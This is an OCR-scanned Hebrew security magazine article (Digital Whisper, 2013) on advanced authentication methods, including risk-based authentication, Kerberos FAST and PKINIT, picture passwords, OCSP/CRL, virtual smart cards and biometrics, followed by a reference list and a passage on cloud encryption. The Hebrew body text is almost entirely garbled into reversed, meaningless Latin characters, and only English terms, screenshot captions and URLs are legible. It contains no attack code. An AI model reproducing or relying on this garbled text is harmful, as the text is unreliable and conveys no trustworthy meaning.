[1AD NI2I'0'1 0771 TWK ,0IWA DMAIA DMK DY TTINNNYT 07X D12 D IT? W Nroswnnl

AIUNNN 'ARYNY 12NNNRN NIpY ;Tawn Y '019 ,InT 2

IWN D"UITIVO DD'7NNA WANWAT? D™MI1D' DA DNPAN NN L7'W7 1NXYY N7 navnd
Myn N'Y' WY Q10K T'09 NI7'7010 NI'vdWNN NIFNINN NNAITD ,NT'09WNNI A'X70] Dy
DIPNN NN ,NNNK D'7'nal . Tawn 79 DI'0N9N NN NIYNT? ,NNVARD DIYAT 2 D710

JDIPOY-NI'NLARN NIYAT? NIYY? N7 AWK DINTRNN DIN'K NI0'Y DI wnn'? 0'710' DRIR

Risk-Based Authentication (RBA)-7 x1an

D'NXNN7 Y' D NWILN NAITINN YA N1 (J12'0 001an NIN'R) Risk-based authentication (RBA)
:D'UNTD 190N7 DXNNA NKRTI,AIYNAN ARYNT7 NYA NIN'RN NN DX
AIYNNN ARWNY 0'WAIN X7 Nwia IR NIMRN 70 DNVANA 7WON D7 70 WWR PTIn R

.DI'R7 IMO'WN7 DNA7 717V [IN1 ARWUN7 NW2AY NNoN A

70,071 [12'0N NNY 700 D 11'0 VIV [NR'YA - "|I2'0 001AN IR NYN wINn'Y Nyl ,0'9Y

INNQN NNAITA WNNWI , NAIITINNND NYR2AN DYNNNT .71 ' N Drne 1Y nim'sn 1'7nn

NINTPNN NIN'R NIV'Y
www.DigitalWhisper.co.il
48 2013 'xn ,41 i'a




Technologic

N7on XYY TY oo MY NTNImMI VINVIRNN NYWAIN Webmail Nd>Yn NY' N1I79 1K

CRM (Customer MdIyn NN (IR NN YUK NO0I MDA . TA%71 0'AN-0YI'Y D'ON

JIRZOYI NINIZY? '019 070N WK ,V1NVI'RNN DY WK Relationship Management)

1D Y2 "0 IaNa "nfin'o 71" )7 yiya ANy

- 2AIYNNN ARYN7 D'YIIM X7 nwa IR DMRN )70 DN0AXK 7Won DIANY7 70 YWUNR pTan e
.CRM > Webmail

.CRM > Webmail - DI'K7 IM9'wNn7 0Na7 717y [IN1 AXWUN7 nw2Y NNAoN - e

N NRIY NN NIV'Y 'NY WInm 721pW'7 [N 097 e

NYA7 ["Iyn D' IARD TAIYY DTN .NN0'0 + wnnwn ow 'y Webmail-n ndwn? nwna e
'WONN Y [PNINN NUNIM WNR vin'y My Non NINTIN y¥a7 Yox' Xin CRM-n nd>wn?
.("npTn nInTTA") TAYN YW TN

NINTI") TAWN Y 710 1'wonn 7 [pnimn Monim 'vxnka win'y 'y CRM-n noyn7 nwa e
-0 NDWNY NWA7 210 RIN,N7¥IN 0N DMK QY IR TAY aTmna L p md L("npTn

.9011 NIN'X YIX] IX K77 Webmail

[27 NNLARN NIYNAT 2 NN Y¥a7 W' D N1 "D'0 00Ian NIN'X" NWd win'y Nya mjzonn
NNLIX NN 7Y DMY TX? NY7IV9N NIYMA [IAR7? AWON7 02l L NI'2IVON-NI'povn NIYATN
D'VNID 190N N0 W NIN'R NN WA NWONN "|ID'0 00Ian NINR" NWA |3 11D .NNIR1Y
AWK NN W7 TIANa NRTE (DM 0N 7 7w oron'n 7pwnin 9"y NRT) Davyn

.T2%72 nd>wnn Ao 9"y NIN'R NU'Y NXR Y1y

YUnnwvl ,0M10xn 0"MunN1d 1%0n o 2V nin' N ny'ap 72U naITINNN nwnan nwnnn?

NN XNAITA

.Reverse Proxy TN 70T [IAIXN W1 VINVI'RNN AW Webmail Novn My n1iI79 XA
:D0NT9 190N 'Y QIPY [DIK] DNITA KIN RN DY Webmail-n NDwn7 wan Ty TUxd X
.19'¥00 Active Directory Realm-2 awnnn nnan e
Active Directory Realm-2 Nignw wnnwn? qpn Kerberos Authentication Ticket DI'i7 o
.'9'¥90
JIRD 7w NS IP-0 NIAND NIVA N7701 TAIWN AWNNn 7w IP-n NaImd e
:D0NI9 1901 'Y NNITA KIN VINVI'RNN Webmail-N N>WN7 WA Ty YWWRd A
D XTIN Reverse Proxy-n .JIANX7 )"wn 2wnnd ,Awnnin DX nntan Client Certificate o

.Revoke 2¥n2a n1'x N0 TN NTIVAN

NINTPNN NIN'R NIV'Y
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NTIVAN D XTIN Reverse Proxy-n .JIAIX TAIVW wnnwnn NX anmn User Certificate o
.Revoke a¥na NI'8 N0 TN

JIARN 7w NIr9n IP-n NIAMD NNV NY'721 NI'R TAIWN 2WNn 7w IP-NnNaImD - e

NIX wowon (]1>'0 001N NIN'R) Risk-based authentication (RBA)-2 win'w  NIXY7 N1 ,013'07

.(Authorization) "nixwNn |NN" AawI?7 (Authentication) "niM'X" awmMn |2 o"NIIONN NI7RAN

NiINTPNIN NIN'X NIV'Y

GPS Location & Geo Location

:DMUNTD Y I0'X 7Y NOOANN IT NIN'K NV'Y

ININAT,2IYNNN ARYNT 112NN NYYI 100 WK 2IWNNN 201 7 IP-n NaIMD - Geo Location e
0UINVI'RN 790 'O NX 77dN ,(TINAI NI T NNNA X" TA) 'DIAIR'A DIRP'NY? (NNN N720 YI'od)
.(ISP)

N7 700 YUK ,'M19 GPS |1na 0'7'on onmiT IPad ,Smart Phone "'wdon - GPS Location e
nn17 yan? [n1a,(ISP) K11V 790 '019I IP-N NAIMDY 12avn , NI7 .NianTm Geo Location
N'¥I7IT NN 2AIWNNN ARWNYT 112NN NYYI 11NN WX 2IYNNN 2D DI DR AN 7't
AYNNN 21 W 'MmRN Dig'm?7? onxa nvn 10-12-5% nnnn 7w n"vo ann Nva) nnna
.(AIUNNN ARWN7 12NN NWYI 100 WK

[I2ARN NAINTI ZIND NIYNT? 27 0'WY W' LIT NIN'K NO'YWA WIN'W NDNN TY? D "x7 X e
72NNAN DIAN D IDT? WY LD 10D .AIWNNN ANWNYT 1ANNN TWKX DIIAN 192 "IN 172" yxah

.90 GPS-n 11211 DX [IM) AT 752 71017 710 alwnnn akwnY

Extensions to Kerberos Protocol

15017 NNNNKN 0IW2 NOT NNTIEN AN 7w 90-n Niwa 101N 1PN YWR Kerberos 7171009

DI9'YI 0DTY

:Kerberos Pre-Authentication [Kerberos Armoring (FAST)]
:Kerberos 71710092 17anNW NIYZIN MY 7V 12anNn? N1y IT Nann
AS--2 99010 TR NNSn PIN DX NINT? 710' 1yn oA Offline dictionary attack vrroa X

.INXY wnnwnd Logon yx¥a7 715' XIn D2l ,Request

NINTPNN NIN'R NIV'Y
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,N7V9NN NdWN NX 2"N7 D2l ,Kerberos errors q»t71 KDC-7 nitnnn yxa7 20' |lvi D A
D'Y7N NIM'X "71RI0N9] WNNWNY? ,NIN'RN NI Y¥IN Unnwnn nanni SPNego-1 Ndnin WX

NTLM nnarm anre

,NI9011 NI712' NANN OW7 IT DANINY IWANWA D'M'NON DX' D Y7 NN [0 ,2aR NNYND
Y2 NIN'RN D"V DN, NKRT DY .0'¥27 NIDWNYT nwa? 1019 ACL (Access List) 7101 nnaim
210N N'YIAVYN VI 7Y NV7NN 197 IT NAI0 PITAY W' 12'971,011W DX |2 N'¥IA0IR YIXA

AT

:Public Key Cryptography for Initial Authentication in Kerberos (PKINIT) nanan"? jij'n
.Smart Card NNAIT ,0™MIX'N NIN'R IPNN 7Y 00IaNN NIN'RA AN X7 Kerberos 217109 117N
owa Kerberos-n 7171097 N2aNIN ANNIS ,0MIX'A NIN'R PN WIN'YWY Nd>'N NS0IN 0YY7
,MY' AS_REQ NW{za naNnn T NIY? N1 D n'72ann 0w 17002 ,NRT oY .(RFC4556) PKINIT
NNWUNT? DY A'WRT7 MY DY dwoxn KDC-n DAl L NMDTY IT nwpa D RTIN X7 KDC-n I

Alvnnn

NNJON NAYIN K7 YITN 733 X ,N'A1I07 DI NIINND 12°¥D OIY DIX' DAY 7002 D X7 IR
YIN'D Y2 NIN'RN N"YA DNN 2971 ,17 XN WIN'Ma N2 DX 75 19'971,01x 770 "2 o

.Kerberos-n I7I|7IL’)I“I!-) NX D'YNNNN DY DX ' N'XNA01'R

:Two-Hop Kerberos Authentication
(Impersonation) NITNNN y¥a7 710' 012 MW ,Two-Hop Kerberos Authentication win'm nya
nwa ow? NXTE,(En wnnwun 9w Kerberos Ticket-2 win'w 'y) 21pna 1'% 119 WWR wnnwn?

SPNN Ynnwnn 'o0d NIVXNKRa Ty! aANWNY

-N MW .17W Kerberos Ticket-n NX 1192 ar'vnl Web Nw7 wan "Test1l" nwa wnnwn ,XnaiT? )2
, 17> .Database-n N7 INIX axni L "Testl" wnnwnin 7w Kerberos Ticket-n nx "ni?" Web
Web-n nw7? pooni ,Web-n MY XN RN 1'7% WA My P7 "vTin 11'K" Database-n nw

STestl" wnnwn 7w nwi nIwNY DRNNA NIRTE,DRININ "ToNY N NIRYIN

N71Y90 NX VXYW wnnwnn 7¢ 'RTIEIN'T YN Two-Hop Kerberos Authentication ' |7 a1wn
Kerberos -2 wnnwn? (Delegation) "n7¥xn" 727 qoinn oy 'aon nxri L, (Digital Forensic n1'nan)

17NN wnnwnn 7w Ticket
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D''nn Two-Hop Kerberos Authentication-2 n'>ninn (NI0STA NNAITY) DAY NNAIN DY NN

. Key Cryptography for Initial Authentication in Kerberos (PKINIT) naninn 7w win'm nian o'y

:Picture Password

NNNID 1IN TWUXR N'MAINIQIPN NINAC'ON NU'WT? N'9I7n NIM'R NV'W NIl Picture Password

NINAN NIAI0Y7 Nayn DwY

D'NIIA7 NNO'ON NO'WNT [I1D'ON NN DX¥NX7 D21 ,NN0'0N NIX 1IDT? WNNWwN? NNWOX NN .X
.0mix'n

oIn' NITIj71 6 n'7'onn Picture Password ,XnNAIT? 2 .NIM'RN J'70 7w nN0aRN NN DR7VN .2
.0'1N 9 NIRY N'7'a1 NNO0'07 Y NHY ,MINN2a

['A2 NI'MNN MIPN DX '0pPn7 02l L,(Help Desk) nd>'ann % D'wnnwn NIXNP DIXAX A
.D'YNNYn Nno'o 71N

UNNYNN NNO'o 'IN'T? Key Loggers 72 7w on71>' pixny .71

1IN7 wnnwn? JwoNn XNl ,Windows 8-1 niam [9IX2 7721 '0'01 Picture Password win'm

NITHZY .0"M50N1 01NN NN nno'o? noI7nd R Ivw oine NITIZY 190N n7va namn

UNNYNN NNO'0 NXK XVIANN ,'UNNN DNMIATX IXINY NNAM oIN'in

Set up your gestures

awonnl ,IDM (ldentity Management)-n 1w DI'> N'DW Picture Password 7w YNI' DTpNn win'm
790N 1INA7 1Y WNNwnn [N YR L (ANIT1 NMnn NN NRimn v "nnown” 1ina7 wnnwny
NX 1IN7? XY wnnwnn Picture Password-n NT7pn7? DTpn 2A%wWD )3'9%7 .0IN' NITIA

MY' D NIXTY N1 ,2'97 XM NIN'RN 70 DR YXA7 710 XID DN NKR? 211,00 "nnoswnn
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D'DAI0N D'ANNIIAYNA WIN'Y 2"NNn V191 win'mn 12'971 ,7"1n 'onnnn NN RN 7w nanan

AN

PKI (Public Key Infrastructure) n'nun

:Online Certificate Status Protocol (OCSP)
NX "NnX At" XTI? 2woKnn WS (Web Service) 12'n Online Certificate Status Protocol (OCSP)
nya ,XNAIT? 72 .M9xN IX\IE NIm'R '70 nya naxn (Principal) "niw'y 070007 ATIvn Nigpn
D "NAR AT RTIT 710 VIVI'RD NN N0 T ATIVN MY VINOI'R NX7 YNNYWN 7¢ NIN'X [1'0"
N"702Th NTIVRN 7w qon DI7'X 2"yn 707 .Revoke 2¥na NI'N wnnwnn 7Y N0 NTIvNN
NN'PN NP'TA YIXA TWONNN MWL N1on 711 SSL 2 jamin Amazon NNan 'NN'wn TNR Y

:Online Certificate Status Protocol (OCSP)-a win'w "y n'70'a'T nTIVN

n Certificate

General | Detalls | Certification Path

Show: | <all> v

Field Value &
@Subject Alternative Mame DNS Name=uedata.amazon.c...
@Basic Constraints Subject Type=End Entity, Pat...
@CRL Distribution Paints [1]CRL Distribution Point: Distr...
@Cerh’ﬁcah& Policies [1]Certificate Policy:Policy Ide...
@Enhanced Key Usage Server Authentication (1.3.5....

15| Authority Key Identifier KeylD=a5ef 0b 11ce c0 410...
@Auiﬁority Information Access  [1]Authority Info Access: Acc...
E=lkev |ieana Ninital Ginnahire Kev Encinher ¥
[1]Autharity Info Access -

Access Method =On-ine Certificate Status Protocol
(1.3.6,1.5.5.7.48.1)
Alternative Name:
URL =http:/focsp. verisign.com
[2]autharity Info Access
Access Method =Certification Authority Issuer (1.3.6.1.5.5.7.48.2)
Alternative Name:
URL =http: //SVRSecure-G2-aia. verisign.com/SVRSecureG2.cer ¥

Edit Properties. .. Copy to File...

Learn more about certificate details

0K

nu'w? onwa Online Certificate Status Protocol (OCSP)-2 wm'w nya D' p@'vin DRNN'D
Certificate Revocation ) CRL yaljza N'70'a*Tn NTIVAN NI9PN 7w np'Ta N7710 TWXR N'2ar¥aipn
:(List
NIOPN NX PITA7 D2 YNN NINE77 DT At "Tvn"  nf70arT nTIvn? Revoke yixa nya e
Y1 D NIKN? N1 ;7297 .01 0y 190N PTYNN WX ,CRL-Q wIn'W7 T1a2 DXRTI,ATIVNN

DN NOPN NIRRT N'702T ATIVN D NAN'Y D TV N'oNn 10 AT 21ay' D DN CRL-A win'y
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Cache-2 NTIVNN NI'PN N7 T NIRXIN DX (O"T2) nNniv n7y9n nidwn ,CRL-A win'y Ny e
Ay D PN CRL- win'y Ny D NIk N1 21w ,)9'97 .n'on' 1R TTL (Time to live) 72va
AN N9PN NIR T D70 T ATIVA D NNAN'Y D TV N'oN' 0 T

.CRL-2 win'w/7 ona 010 NN 't n7ap Yworn WS (Web Service)-a win'wn e

2y ,CRL-A win'w "y N'701T DTIVR NI9PN DX ITA7 NIn 2y D nTaiynn nyan 77 na'on e
Y27 'NOIY |I1'DN .NP'TAN N71IY9 NXR Y¥A7 P Ny i CRL-N yalg DX TINYT 771an TN
y'owun yalpn nTin At , (NI gx 0'2ma 0'7m% omyti) nan nikn 9w 7% yant 7ot CRL

700 dpTan At v NN

FIPS 201 PIV-I + Il & TPM Virtual Smart Cards

DW7 D"MI'N DD'70N NN'WAL NIVRUDIR 1TAN WK FIPS 201 PIV-I + 1l [7n Ny 2006 nawa
.11 ,Smart Card, Biometric Reader NnaiTd ,0"1¥'N 07NN NNTY NVAIRA NIN'K VINA
(Trusted Platform -n Ni71>* X N7¥ann Virtual Smart Cards N"a171100 NNNIS AT [PN7 N'XI71AKD
NP9INT7 NDIN X ON'YYI) N70T ATIVN 7W NNVAINA NNMY NMYWORNN  Module) BIOS TPM

.avnna BIOS-a (OTP NINNO'0

NYUNI NIX X7 Smart Card NAAIT ,NINTENN NIN'R NIV'Y DI'N WNn? 09710 DRIAR ,)2'97

.10'9 Smart Card |[pnn

NNAITD 0T NIYAT 190107 Niy7 1y Virtual Smart Cards-2 y'on? |*aiynn 120X ,NRT DY
Virtual Smart Cards Nn*21712002 N7 N>X NTIAYN NINNA A7Y9N >N .X
(Trusted Computing [7D2 JMN7 1Y NTIAvn NINNA (Trusted Platform Module) BIOSTPM A

.n2vni 1.2 no"aa Group) TCG

D"71y9NN) 0'7TanN DX 20D 1IN7 Virtual Smart Cards-2 y'mon? "aiynn RN 72 LD 1nd

0'9 Smart Card win'n Virtual Smart Cards winm |2 (D"NNVIAXRNI

nimounia NIv'Y

hihle 1N MmNnxY? X AlYNNn Iy AdSIipn Aam Nnin''y niMmoni'an nim'kn niv'yn 10" ,7'7n
N7 DINN2 DAIYN DMI9'Y 190N

.M0NI NIN'R wIinm Ny niopyn X

.7IY7 0'9011 DX NO'D A
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Directory Services & IDM (Identity Management) NI>DIyn DY N'YIAVYI'RI DWIXT DWW
1501

X7 NiNraon) Positive-False (nwnim X7 wnnwn nim'x? ninraon) False-Positive ,on' 119'w
178 DMVNI97 DUIXNIN DDWN W VITY? IART? NNYWOR NN - (DY wnnun Y Nin'R
.(Threshold)

N90IN2 X K77 ,munim 1t Nnaiv? (Smart Phone Nnaim) T alwnn NMalz7inoul win'y
NYowN NX [An?7 179WUN DAY DRIAK RN WY 0TI IXY '9D .0'D01 NN a0
.Bring your own device (BYOD) NI T 2a1lwnnn

DINN2 N2 ATIAY NWAT [PTY D |*¥7 'INY,NIRT DY .NIRNN9A X' MY NNdoin NN YIn'X

i

(1'va nmmwp) Iris

190N NINT? N1 LISO/IEC 19794-6 |pna DI 77201 ('vin N'Mwp) Iris 001An NIN'R Y'70 |I'9X

]21Un 10'9-12170 N1aNN N'T 7V 00aNN IT NIN'K NLV'Y |NPY .AT DINN2 NINDY Y™ niv'v

NNITN) IR AN XY NTIINAL DMWY 79 DAL X' DMYRD . DNYUEN - YR NI NINKN

TCRY NNT DYIY X' L'Y7 01D1W 1IN NIMdA LIY? KIN NTMYRN T'RON (Nn7¥nn Dx¥ny?

n'nupn AIxX 2w i nUP NINd nv'an |'U'7| |07 [IW'RD NXIDNN N'NYRAYD - NIOYNAI NIXIDNN

.NYIX NN |'V7 NN

7¢ NP YIroa 2"T) nUuNNN 0MUVNIS97 DNNIAZR MV DN NTMYPN 179RN  NIN'K YIX Ny

NN Nd>yYNa Mnwn ']111'7 o'inl ,(l'WJ'?I'l MNITX NOY'X )2

. ’ ™ .
C—
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NIN'R YIXaA NMYOXRAN AOptix NNaN N'an ('wn N'Np) Iris ORI NI NdIYN? XNAIT 1"y¥n

:Smart Phones Mwonn Iris

W wane AOptix InSight Enrollment Client

Enroliment Process Iris and Face Capture Successful

1. Capture IrisFace

M ImageZoom
|

Right Eye
-

Gate 31 Flight 221

Honolulu

00IaN NIN'RY [N NNTI ,Retina 001an NIM'RN MY (|'vn ]']'J'IUP) Iris 00IAN NIN'X NYN
NN NIRRT NN NNXRY TWONAN 1T o|'Va DTN 22 7w Dani D'9XN IN'T 7V 001an Retina
D0'7wdI1 ,N'DL NI ']J.IOYJIT awnl Retina 00IANn NIN'R WIN'M ,NRT QY .ANTMN NIY'A IR N
NI00IAN NIN'XK NIdWN NIy ,[2 11D .ANTMMN DTRN 27U NI'RIDY NI'VAN DXXIND D'N'DY NIN'RA

(1'vn n'nw) Iris NIM'X 7V N1I00IANN NIA'K NIDIWNA NI7YN N'NIYAYN Nniaa Retina

NINTENN NIN'K NIV'Y
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:Face & Face live-ness detection (blinking, lip movement, head movement)
NIV'Y 190N NINT? [N11,ISO/IEC 19794-4 |pna DI'D 7921 (' M) Iris 00IaNn NIM'R Y'70 |I'9X

.NT DINNM NINDY UInn

|27 NIA'RN NDWN2 NMIMWN 0TX 7Y MmN 2 IR ™0 yyann Face NIM'R VI Nya
QUT? NNWOX NIY'Y 1IN .O'RKNN DNMIAZXR YI'0Q NIRTI ,NIN'RN DN 78 MITIvnn Nlinn
& Face live-ness detection DwWa N'I7100 ANNID ,NNTMN NIY'D 7Y 1NN DX N'on' N7
MONN 'IN'T NNAIT) OTXR 7w "ni'n" PITa? nMwoxnn head movement ,lip movement ,blinking

.DTR ' DNTMN NIYD D NINoN DX 7'1an7 0at (R nyvian

Face live-ness Nm'X yi¥'a NwWoXNN Daon NNaN N'an Mo NIM'R Ndwn? XnaiT 1'"¥n

:Smart Phone Y'wonn (head movement ,lip movement ,detection) blinking

L Photo: Face

Hold your device a half-arm's length from your face.
Please don't smile.

:Voice biometric matching & Voice live-ness detection (ASR, randomized phrases)
27 NIM'RN NDWNA NIMYN 0TX 717 NN DI )70 yxann Voice NIM'R YINK Ny
Q"T7 NNWOX MY'W [II'DN .0'RNN DNMINAZXR VI'0Q NIXTI ,NIN'RD NN 7R MTIYAN Minn
, ASR) Voice live-ness detection Dwa n"a171100 NNNI9 ,NNTMN NIY'AN 7 1717 IR N'oN' NI
,("170" ,xLAN ,NOW NINAN DT NNAIT) DTXR 7w "NI'N" IM7 Nwoxnn (randomized phrases

.DTX 1'D DNTMN NIYN D NINA0N DX 7' Tan? Dl

NINTPNN NIN'R NIV'Y
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Voice live-ness NiM'X yIX'2 MwoXnn Daon NNan nan Monifa nm'R novnt? Xnait a"sn

;T 1970 Vv'wonn randomized phrases ,ASR detection
8:24 AM

Voice Samples

When you're ready, tap Start
Recording and say aloud the
sentence shown below in a clear,
normal voice.

Capturing Voice Sample 1 of 1

My identity is
secure because my
voice is my
passport.Verify me.

i

ASR - Automatic Speech Recognition.

:Voice Biometrics Technology to Expand Fraud Prevention & Emergencies
Voice Biometrics Technology to Expand Fraud Prevention & Emergencies Nnioolan nid>yn

.(Natural Language Processing) - NLP N"2171100 yI'02 NIXTI ,DTPNN NIN'K Y¥I7 NNWONN

MI9N DTRN 7W 'W9IN a¥NN NX NINT? NMwWoNN (Natural Language Processing) - NLP n*'aI71:00
(Natural Language Processing) - NLP N*"aI71200 |3 11D .0Y) ,npINAI YN7 'A¥N NNAIT |17
NN D X7 IR CNITANN [I'01 NNAITD ,NNAIN VIXTY? [I'01 W' 1AW D'AXN NINT? Ny'on
NN'W *TRIN 190N N9IPN nm NN (Natural Language Processing) - NLP N"ai71100 nioolan

.NT DINN2 NXI7NY Nawn1 NYRwA NICE DNan ™y ANNIBY nta711d00 DI L,YIXA

:Fingerprint & Live Finger Detection
DTN 7W YXIX NY'A0 NN'NN 2 Y717 170 yxann (VA nyao) Fingerprint Nim'R yix'a nya

DNMAYN YI'0Q NIXTI ,NIN'RN NDWN 78 NTIYVAN YIXRD NY'aon |'l'7 NIN'XN NOIYN2 NMInwn
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:Hand-based Personal Authentication / Hand Geometry
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e |SO Standards Catalogue:

http://www.iso.org/iso/home/store/catalogue ics.htm

e Guide to Integrating Forensic Techniques into Incident Response Recommendations:

http://csrc.nist.gov/publications/nistpubs/800-86/SP800-86.pdf

n"ya XY N2 Ny 0 NP90K7 N'OIN'Y NI'R77N NTIAR 0O '7'OX 1 'NRIAIPO'R 70 T'09 e
:312/08 vy ,90/08 vy ,'nNi
http://www.moital.gov.il/NR/rdonlyres/689B0383-5FA7-4AC8-B964-11D974DD1AD2/0/isakov.pdf

:Kerberos Xwina n'@aran
e How the Kerberos Version 5 Authentication Protocol Works:

http://technet.microsoft.com/en-us/library/cc772815.aspx

e RFC 4556 - Public Key Cryptography for Initial Authentication in Kerberos (PKINIT):
http://www.ietf.org/rfc/rfc4556.txt

e RFC 6113 - Generalized Framework for Kerberos Pre-Authentication [Kerberos Armoring
(FAST)]:
http://tools.ietf.org/html/rfc6113

e Security implications in Kerberos by the introduction of smart cards:
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http://www.cosic.esat.kuleuven.be/publications/article-2188.pdf

e Understanding Kerberos Double Hop:

http://blogs.technet.com/b/askds/archive/2008/06/13/understanding-kerberos-double-hop.aspx

:Picture Password Xwia n'aryan

e Picture Password: A Visual Login Technique for Mobile Devices, NISTIR 7030, 2003:

http://csrc.nist.gov/publications/nistir/nistir-7030.pdf

e Signing in with a picture password:

http://blogs.msdn.com/b/b8/archive/2011/12/16/signing-in-with-a-picture-password.aspx

:PKI (Public Key Infrastructure) Xwi1a a'onarana
e RFC 2560- Online Certificate Status Protocol (OCSP):
http://www.ietf.org/rfc/rfc2560.txt

e FIPS PUB 201-1, PERSONAL IDENTITY VERIFICATION (PIV) OF FEDERAL EMPLOYEES AND
CONTRACTORS, 2006:
http://csrc.nist.gov/publications/fips/fips201-1/FIPS-201-1-chngl.pdf

e Understanding and Evaluating Virtual Smart Cards:

http://www.microsoft.com/en-us/download/details.aspx?id=29076

IMUNIM NIN'R XYIN A7
e Chin-Chuan Han, A hand-based personal authentication using a coarse-to-fine strategy, 2004:

http://www.sciencedirect.com/science/article/pii/S0262885604001155#

e Face Image Analysis by Unsupervised Learning (The Springer International Series in
Engineering and Computer Science), Marian Stewart Bartlett, Springer; Softcover reprint of
the original 1st ed. 2001 edition (October 26, 2012).

e Raed Sahawnehl, Ahmed lbrahim2, Sami Qawasmeh3, Arwa Zabian3, Authentication
Method Using Hand Images for Access Control systems, International Arab Journal of e-
Technology, Vol. 1, No. 4, June 2010.

e Dont Blink:Iris Recognition for Biometric Identification:

http://www.sans.org/reading room/whitepapers/authentication/dont-blink-iris-recognition-

biometric-identification 1341

e Applications expand for biometrics:

http://www.securityinfowatch.com/blog/10852181/applications-expand-for-biometrics
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e Zvetco Biometrics ,P6000 Fingerprint Device Zvetco Biometrics:

http://www.zvetcobiometrics.com/Products/P6000/overview.php

e Palm Scanners Debut at Lehigh Valley Hospital:

http://salisbury.patch.com/articles/palm-scanners-debut-at-lehigh-valley-hospital

e RightPatient™ Biometric Patient Safety System:

http://www.m2sys.com/healthcare/rightpatient-biometric-patient-safety-system/

e Finger Vein Biometrics Identification for Membership Management Software:

http://blog.m2sys.com/membership-management/finger-vein-biometrics-identification-for-

membership-management-software/

NTVIT? NYAM - DIIYA AP0 - D'N7YUNN VTR NARNT AT 'DNoNA D'MLAIML INT UK
:2009 NI 14 ,09WnNI PIN ,NPINN

http://www.knesset.gov.il/mmm/data/pdf/m02179.pdf

:D112'01 'IN'T 2V, nainy Ty
http://2jk.org/praxis/?tag=%D7%AA%D7%A2%D7%95%D7%93%D7%95%D7%AA-

%D7%96%D7%94%D7%95%D7%AA-

%D7%91%D7%99%D7%95%D7%9E%D7%98%D7%A8%D7%99%D7%95%D7%AA

:22/04/2012 ,0nt 78 '9119,72a8N"7 YAXKN DX NN X

http://acheret.co.il/?cmd=articles.528&act=read&id=2722

Voice Biometrics Technology to Expand Fraud Prevention & xwna a'onarana

:Emergencies

e NICE Utilizes Voice Biometrics Technology to Expand Fraud Prevention Suite to Contact

Centers:

http://maya.tase.co.il/bursa/report.asp?report cd=789208

:(Security Assertion Markup Language) SAML xwn? a'onaran

e SAML Wiki Knowledgebase:

http://saml.xml.org/wiki/saml-wiki-knowledgebase

e Tim Harrington, Directory Federation Services (ADFS) 2.0 with Office 365:

http://blogs.catapultsystems.com/tharrington/archive/2011/04/01/active-directory-federation-

services-adfs-2-0-with-office-365-part-1-%E2%80%93-planning.aspx
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cloud

CSA security
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‘NIP'77 790N |2 NIMNX MINN D2ONN YWRD NTNIM 27 NNIYN UHTPn? W' 0'RAN 0'RYUNYT

N7 210N NPT 7D D 1IWpAr 0'P90N 7W Yy1I0Nn 2NN - Penetration Tests & Vulnerability Scan
37NN YIXAT7 NI 11'D 790 ¥ YT NNVAX NITYA NPPTA7 210 TT .WXIN DIX'NA YXINN
7V DT D'PTAN DA 7907 IN71D'1 (N7R D'RWINT7 20D TN 70N DY NNaT? (ITnRa) nr
D"V DMDIN NDNON NIY'R D7 7907 INNY' D'2ITAN D'PO0N 2N D 27 IN'Y 19U N'NUNN
.D07¥ NIP'TAN 7W DIN'MN DX D121 NT'Na D¥nx?I (Tivi PCI-PA\DSS ,1SO27001 ndnon [iad)
-Qw 7wn? NdT .N1P0o1 NP0 7w T '7nn y¥a? v (Paas ,laas, SaaS) |3V NiN'w 7w 210 ‘704
(SDLC) nuaixn NIN'® '7nN win'm 717w'7 waT KN P 2v1 Nig7n My nNnion nxp*7oxnN Paas

DR NAR DYRPY79X 700 md

NIMNKY 11'N D'YNNWAN 7101 Xl 7 [aaS niaraoa D 1NoT - Identity & Access Management
N'N NDIAN NX7NNN LI7X NIAN0] 7101 1Y¥AN T¥D AWN7 0'WATI DINRD D W1 N v
UTNN "722720 DR KRN K91V nannn DN NIYYYIE IR DTN DY70] WIn'Y NIWYY
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7101 VIX'A7 0'9011 0702 ND'MN PITA7 WU (DnUpn NIOKD DN WIin'y NIYy? Ddax1a
| |

.DINN2 D'0ITIVO NI'NY ,0N X ,0'91N SCIM-1 OAuth |12 DPN .Provisioning-1 27un

NINNKX NiINal NSxn v

DY 07101 02NN V7 NI9XNN NNRINND L[V 2IYNNYT '0Nj7 XINY N19XNN XY DX 11701 NYd
M'70 NWYI 7aN XD 071D DX 1IR0YT 7011 X7 .winm ¢ D1IY D'AI01 NYNUN NIFMYOX 7 10 [1IIan

NIAIYN NIZRY 1901 17N N19¥N [11DN D TN IDT? W' AT 07152 NIMP'YN DIPNYORN Y

MMy Xwi? NDNN9 AN ' 70A™X D'WA T DI9¥AN NINNSN DNl D' e
VYINN7 D'WTIP VD 790 2N ,NNAIT7 .0MIANN DI'R NT'R 11910 D' DNRWn N7RUN  NINNoNN
N7¢ NNONNI NMVN'O NI9XN NI IT NIOXN L(Block storage) [IONKN NI NNY2 N19XN DIYD
D'PO'T ,N'TN 7 |TAIND D'YWIN 12X DX NI N7 DIONN 1T D 1N L[IONKRN 790 7¥X - 1Y)
NNPORT NXYNI9N IX VN 790N D'YWIN XRI DTN 12'7Y AN X7 1T N19¥N 72X ,120 NIV IX

.(N¥7"79RN N7 NDIW N1 IT N19¥N)

M7V DMTA INIX O"TA ?1'9¥nY 0NN X VTMA 7Y 0UNAIThN 7w QW ATk e
.DMNX DNITR X I WNNWNN 78 12ym yTnn TUKRD - Data in motion .1
.(Jlonkn NMYA IX D2IMIN 0012 O"T2) N [IONK 'YXNNA KX¥XN1 YT'NN - Data in Rest .2

UNNUN / A'7o8N win'wa N¥na yTn - Datainuse .3

U' NYIND NXNI YT UKD NNAIT? .NI9¥N 7W MY A10 WA DANKINNN DRaYnnn TNR ‘701
-1 2j'va ™M AR .SSL/ VPN 120 Dirazo0d win'y My win'yn Nyl 12 NN DX 'oxnY

JI'MNIoN NIA'A0A TWRKRA [V MY 7Y DYDY [l Data in Rest

Block level -7 2100 MpPNa 790NN NISX7 N1 NN'WO N'MYUNA 7720TN Y NIFAIZID0 AT e
aN7 17N NPT DN'YWD NDIN 7Y Npna LNIRTR NIMNRA DN DNINK NRINNSI encryption

.D'YNTIN NRDINN9] N1DINN 790 7w nomna
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NIMIALVEY NIOXNN 210 DX 27N7 No1 ,7'7D0

JIXP'79K71 NIMUNY NDIPW IT N19XN L[IONKN DMWY NNNA NIOXN - Storage level encryption e

JN'WN 790 78K w1 DN 7w 07N1mn 2N N19¥NN NNSN X

N'NMYN 7¥ NID02 DIYYY N7 0T N0'W  NYRI0YIN NADNN NN N19¥N - Volume level o
